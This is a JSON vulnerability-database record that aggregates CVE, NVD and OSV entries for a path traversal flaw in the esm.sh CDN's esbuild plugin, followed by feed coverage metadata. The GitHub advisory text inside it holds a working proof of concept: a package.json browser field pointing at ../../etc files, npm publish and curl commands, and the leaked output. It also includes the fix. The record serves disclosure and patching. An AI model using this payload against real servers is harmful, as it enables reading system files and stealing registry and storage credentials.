{"id":"GO-2026-5620","revision":null,"records":[{"revision":"cb30c31264a341da92f006a323352978","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-44594","aliases":[],"title":"esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files","description":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.","state":0,"publishedAt":"2026-05-28T14:45:04.948+00:00","modifiedAt":"2026-05-28T15:31:19.208+00:00","affected":[{"ecosystem":"Vendor product","name":"esm.sh","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"esm-dev\",\n                    \"product\": \"esm.sh\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 137\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44594","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-44594","identifiers":["CVE-2026-44594"]},"retained":false,"historicalAffected":[]},{"revision":"c59a53b272af489dbf25da62e1f1449b","observedAt":"2026-10-27T11:12:17.434+00:00","statement":{"source":"nvd","id":"CVE-2026-44594","aliases":[],"title":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an…","description":"esm.sh is a no-build content delivery network (CDN) for web development. In 137 and earlier, a Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the browser field in package.json. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.","state":0,"publishedAt":"2026-05-28T16:16:24.717+00:00","modifiedAt":"2026-10-26T13:10:00.14+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":7.5,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44594","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-22"],"productCriteria":[],"sourceDates":{"published":"2026-05-28T16:16:24.717","lastModified":"2026-10-26T13:10:00.140"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-44594","identifiers":["CVE-2026-44594"]},"retained":false,"historicalAffected":[]},{"revision":"c022a6d29bdb4a0f88a3f3d3e590b21a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-rg65-45m7-hq57","aliases":["CVE-2026-44594","GO-2026-5620"],"title":"esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files","description":"### Summary\n\nA Local File Inclusion (LFI) vulnerability exists in the esbuild plugin's handling of the `browser` field in `package.json`. An attacker can publish an npm package that causes the server to read and return arbitrary files from the host filesystem during the build process.\n\n### Details\n\nThe vulnerable code is in the `OnResolve` callback of the esbuild plugin:\n\nhttps://github.com/esm-dev/esm.sh/blob/main/server/build.go\n\nThe plugin validates that resolved file paths stay within the package working directory. However, after this check, the `browser` field from `package.json` remaps the module path to an attacker-controlled value containing `../` sequences. No validation is performed after the remapping.\n\n```go\n// Sandbox check passes for the original \"./d1.txt\" path\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n    return esbuild.OnResolveResult{}, fmt.Errorf(\"could not resolve module %s\", specifier)\n}\n\n// ... later, browser field remaps to attacker-controlled path:\nif len(pkgJson.Browser) > 0 && ctx.isBrowserTarget() {\n\tif path, ok := pkgJson.Browser[modulePath]; ok {\n\t\tif path == \"\" {\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath:      args.Path,\n\t\t\t\tNamespace: \"browser-exclude\",\n\t\t\t}, nil\n\t\t}\n\t\tif !isRelPathSpecifier(path) {\n\t\t\texternalPath, sideEffects, err := ctx.resolveExternalModule(path, args.Kind, withTypeJSON, analyzeMode)\n\t\t\tif err != nil {\n\t\t\t\treturn esbuild.OnResolveResult{}, err\n\t\t\t}\n\t\t\treturn esbuild.OnResolveResult{\n\t\t\t\tPath:        externalPath,\n\t\t\t\tSideEffects: sideEffects,\n\t\t\t\tExternal:    true,\n\t\t\t}, nil\n\t\t}\n\t\tmodulePath = path\n\t}\n}\n\n\n// path.Join collapses \"../\" sequences - escapes the package directory\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\n// No second sandbox check\n```\n\nFile contents appear in both the bundled JS output and the source map `sourcesContent` array.\n\nReadable files are constrained by esbuild's loader selection based on file extension: `.json` files must be valid JSON, `.txt`/`.html`/`.md` are read as raw text, files without a recognized extension must be syntactically valid JavaScript. The `config.json` of esm.sh is fully readable (valid JSON with `.json` extension).\n\nNon-existent target paths do not cause build errors - the import simply remains unresolved. This allows probing many paths in a single package, acting as a file existence oracle.\n\n### PoC\n\nThe test package is published at https://www.npmjs.com/package/chess-sec-utils1\n\n**package.json:**\n```json\n{\n  \"name\": \"chess-sec-utils1\",\n  \"version\": \"1.0.6\",\n  \"main\": \"index.js\",\n  \"type\": \"module\",\n  \"browser\": {\n    \"./d1.txt\": \"../../../../../../../../etc/hostname\",\n    \"./d2.json\": \"../../../../../../../../etc/os-release\",\n    \"./d3.json\": \"../../../../../../../../etc/environment\"\n  }\n}\n```\n\n**index.js:**\n```js\nimport d1 from \"./d1.txt\"\nimport d2 from \"./d2.json\"\nimport d3 from \"./d3.json\"\nexport default { d1, d2, d3 }\n```\n\n```bash\nnpm publish\ncurl \"https://<esm.sh-instance>/chess-sec-utils1@1.0.6\"\ncurl \"https://<esm.sh-instance>/chess-sec-utils1@1.0.6/es2022/chess-sec-utils1.mjs.map\"\n```\n\nServer file contents in source map response:\n```json\n{\n  \"sourcesContent\": [\n    \"ideapad\\n\",\n    \"PRETTY_NAME=\\\"Ubuntu 22.04.5 LTS\\\"\\nNAME=\\\"Ubuntu\\\"\\nVERSION_ID=\\\"22.04\\\"\\nVERSION=\\\"22.04.5 LTS (Jammy Jellyfish)\\\"\\nVERSION_CODENAME=jammy\\nID=ubuntu\\nID_LIKE=debian\\nHOME_URL=\\\"https://www.ubuntu.com/\\\"\\nSUPPORT_URL=\\\"https://help.ubuntu.com/\\\"\\nBUG_REPORT_URL=\\\"https://bugs.launchpad.net/ubuntu/\\\"\\nPRIVACY_POLICY_URL=\\\"https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\\\"\\nUBUNTU_CODENAME=jammy\\n\",\n    \"PATH=\\\"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin\\\"\\n\",\n    \"import d1 from \\\"./d1.txt\\\"...\"\n  ]\n}\n```\n\n<img width=\"1720\" height=\"796\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ee1c9781-2c5c-4718-b436-f6cf453f0952\" />\n\n### Impact\n\nAn attacker can read sensitive files from the server, including the esm.sh `config.json` which may contain npm registry authentication tokens and S3 storage credentials.\n\n### Fix\n\nAdd a path validation check after the `browser` field remapping:\n\n```go\nfilename = path.Join(ctx.wd, \"node_modules\", ctx.esmPath.PkgName, modulePath)\nif !strings.HasPrefix(filename, ctx.wd+string(os.PathSeparator)) {\n    return esbuild.OnResolveResult{}, fmt.Errorf(\"path traversal blocked\")\n}\n```\n\n### Credit\nSvyatoslav Berestovsky of Metascan","state":0,"publishedAt":"2026-05-12T22:22:42+00:00","modifiedAt":"2026-06-25T23:11:31.2199411+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20250616164159-0593516c4cfa"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57","https://nvd.nist.gov/vuln/detail/CVE-2026-44594","https://github.com/esm-dev/esm.sh","https://github.com/esm-dev/esm.sh/releases/tag/v137"],"sourceUrl":"https://github.com/advisories/GHSA-rg65-45m7-hq57","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rg65-45m7-hq57","identifiers":["GHSA-rg65-45m7-hq57","CVE-2026-44594","GO-2026-5620"]},"retained":false,"historicalAffected":[]},{"revision":"3c0660da1a35489b8829a7f771865140","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5620","aliases":["CVE-2026-44594","GHSA-rg65-45m7-hq57"],"title":"esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files in github.com/esm-dev/esm.sh","description":"esm.sh: Path Traversal via package.json browser field allows reading arbitrary server files in github.com/esm-dev/esm.sh","state":0,"publishedAt":"2026-06-25T22:34:34+00:00","modifiedAt":"2026-06-25T23:01:34.2507075+00:00","affected":[{"ecosystem":"Go","name":"github.com/esm-dev/esm.sh","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20250616164159-0593516c4cfa"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/esm-dev/esm.sh/security/advisories/GHSA-rg65-45m7-hq57","https://nvd.nist.gov/vuln/detail/CVE-2026-44594","https://github.com/esm-dev/esm.sh/releases/tag/v137"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5620","license":"OSV · upstream source license applies","key":"osv:GO-2026-5620","identifiers":["GO-2026-5620","CVE-2026-44594","GHSA-rg65-45m7-hq57"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-27T17:47:33.6124923+00:00","complete":true,"records":1758,"lastAttemptAt":"2026-10-27T17:47:33.6124923+00:00","lastSuccessAt":"2026-10-27T17:47:33.8177497+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:47:33.8177523+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-187d2b72c94ceb8c4417f1032ec3109a3a3a7b730abadb561d8cdd2a96e04d27-1d364ac0cd434b550397ee70228a56931aa833d8a6b261c3e6bc70a57b06a0f6","complete":true,"records":415299,"lastAttemptAt":"2026-10-27T17:44:11.2286896+00:00","lastSuccessAt":"2026-10-27T17:44:09.7084381+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:44:11.2286896+00:00","snapshotPublishedAt":"2026-10-27T17:26:23+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-43321610382942b8ad8c85917eab1546","complete":false,"records":4735,"lastAttemptAt":"2026-10-27T17:47:37.4970153+00:00","lastSuccessAt":"2026-10-24T23:18:49.862+00:00","error":"InvalidDataException","lastVerifiedAt":"2026-10-24T23:18:49.862+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":0,"expectedIdentifiers":13497},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-27T17:47:33.6124923+00:00","complete":true,"records":1093,"lastAttemptAt":"2026-10-27T17:47:33.6124923+00:00","lastSuccessAt":"2026-10-27T17:47:33.818584+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:47:33.8185844+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b877d586fc144938aa44089e665cd1e0","complete":true,"records":13434,"lastAttemptAt":"2026-10-27T17:47:34.5117551+00:00","lastSuccessAt":"2026-10-27T16:46:14.705+00:00","error":null,"lastVerifiedAt":"2026-10-27T16:46:14.705+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13497,"expectedIdentifiers":13497},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-439cd5d099ccb2499c5497741843190e65b167cf304db2a157938d3d4847a993","complete":true,"records":9783,"lastAttemptAt":"2026-10-27T17:47:33.2623747+00:00","lastSuccessAt":"2026-10-27T16:45:44.7050411+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:47:33.2623747+00:00","snapshotPublishedAt":"2026-10-27T16:03:45+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-bad5d31e7f6a5e3d338e11d8789069b63620a403f927730769688b42f768e4f6","complete":true,"records":1965,"lastAttemptAt":"2026-10-27T17:44:11.7010721+00:00","lastSuccessAt":"2026-10-26T16:35:43.1460623+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:44:11.7010721+00:00","snapshotPublishedAt":"2026-10-26T16:18:29+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-3a5b306d60fc44677a03a8afc99d87e6c5402770ef68d560f94a8c3ad3802b75","complete":true,"records":3001,"lastAttemptAt":"2026-10-27T17:47:33.5548586+00:00","lastSuccessAt":"2026-10-27T16:45:49.0050993+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:47:33.5548586+00:00","snapshotPublishedAt":"2026-10-27T16:33:43+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-9879a6cc2cfcef686e74484f528ab0a58581fed33334cc3f63a0864323c73deb","complete":true,"records":230833,"lastAttemptAt":"2026-10-27T17:47:33.1113165+00:00","lastSuccessAt":"2026-10-27T17:47:31.417422+00:00","error":null,"lastVerifiedAt":"2026-10-27T17:47:33.1113165+00:00","snapshotPublishedAt":"2026-10-27T17:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null}]}